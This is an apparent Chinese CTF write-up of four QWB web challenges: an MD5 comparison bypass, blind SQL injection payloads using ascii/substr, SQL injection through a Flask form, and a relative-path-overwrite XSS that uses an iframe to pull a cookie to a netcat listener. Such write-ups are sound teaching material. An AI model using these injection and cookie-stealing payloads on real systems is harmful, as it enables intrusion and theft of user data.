Web
Web签到
这道题考的是MD5
绕过,一共有三关,前面两个直接使用数组
绕过即可,如下:
第三个则需要找到两个真正相同的
MD5
的值,代码如下:1 | if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])){ |
string
将数组转换成'array'
所以无法使用数组进行绕过。这里google了两个图片。
我们使用python将文件读取出来并进行
url编码
。1 | >>> import urllib |
然后提交即可。
参考链接:
Sha1碰撞
md5相同的图片
## three hit
这道题绕了好久,主要是思路被带偏了,实话就是自己太年轻。。。
首先注册的时候会发现后台对
username
跟age
都有过滤,age
只允许数字。然后我们尝试一下16进制是否可以。我们将要注入的字符进行16进制编码一下。
所以
POC
就已经出来了,而且还没有任何过滤,接着我们构造如下payload:1 | 1 and ascii(substr((select flag from flag),1,1))>100 |
然后逐一判断即可得到flag。这里需要注意的是我们要使用
ascii
作为判断条件而不要使用substr
防止得到大小写
不准确的flag。### ——————————–后期复现分割线——————————–
## Python is the best language 1
flask
代码审计,在form.py
的表单里只有PostForm
是没有过滤的,其他表单中都存在过滤函数。而这个表单在
/index
下被引用。再看看
Add()
函数。现在可以确定注入点就在这里。我们试一下:
1 | '|conv(hex(substr(user(),1,4)),16, 10)|' |
然后回显:
说明确实存在注入,接着就是找表和字段,
1 | '|conv(hex(substr((select table_name from information_schema.tables where table_schema=database()),1,4)),16,10)|' |
结果就是表名:
flaaaaag
,列名:flllllag
。payload:1 | '|conv(hex(substr((select flllllag from flaaaaag),1,4)),16,10)|' |
最终flag:
QWB{us1ng_val1dator_caut1ous}
## Share your mind
这道题考察的是
RPO(Relative Path Overwrite)相对路径覆盖
利用,如何判断的呢:1、路由问题
可以看到,这里加了
/aaaa
它还是能正确找到这份文件,所以如果我们在这个页面中写了一些js
代码,并且以js
去运行解析它的话就会造成任意js
代码执行。
2、页面的js文件采用相对地址引入注意前面的
../
。* 3、浏览器和服务器对%2f的定义不同
服务器在接收到
%2f
的时候会把它转化成/
,当作目录解析。如:1 | http://39.107.33.96:20000/index.php/view/article/1111/aaa/..%2f..%2f../ |
这里要注意的是浏览器在请求
js、css
文件时是以当前url
的目录为基准的,然后在后面拼接js、css
的地址,接着在请求该js、css
。如:1 | http://39.107.33.96:20000/index.php/view/article/1111%27aaa |
这是因为
1111%27aaa
被当作了一个文件,而不是你想的/1111/aaa
中1111
是目录。我们首先插个弹窗,然后查看下
raw
。然后我们构造如下payload:
1 | http://39.107.33.96:20000/index.php/view/article/1111/aaa/..%2f..%2f../ |
可以看到已经弹窗,我们再看一下网络请求。
可以发现它把我们
view raw
中的代码作为js
解析了。而经过测试,在
report
页面中是存在xss的。但这道题的点不在这,我们回到
RPO
的利用中来,因为过滤了<>
,所以我们用eval(String.fromCharCode(xxx))
来绕过,所以payload:1 | s="""var i=document.createElement("iframe"); |
我们把它插入到
write article
里,然后获取到它的url
,如:服务器端启动监听:
nc -tlp 8888
。然后提交攻击链接:
1 | http://39.107.33.96:20000/index.php/view/article/1198/aaaaa/..%2f..%2f../ |
接着就能在服务器上收到
hint
。这里提示
flag
在/QWB_fl4g/QWB/
下的cookie中,所以我们将iframe
的src=/QWB_fl4g/QWB/
。代码如下:1 | s="""var i=document.createElement("iframe"); |
跟上面同样的套路走起,最终获得flag:
QWB{flag_is_f43kth4rpo}
。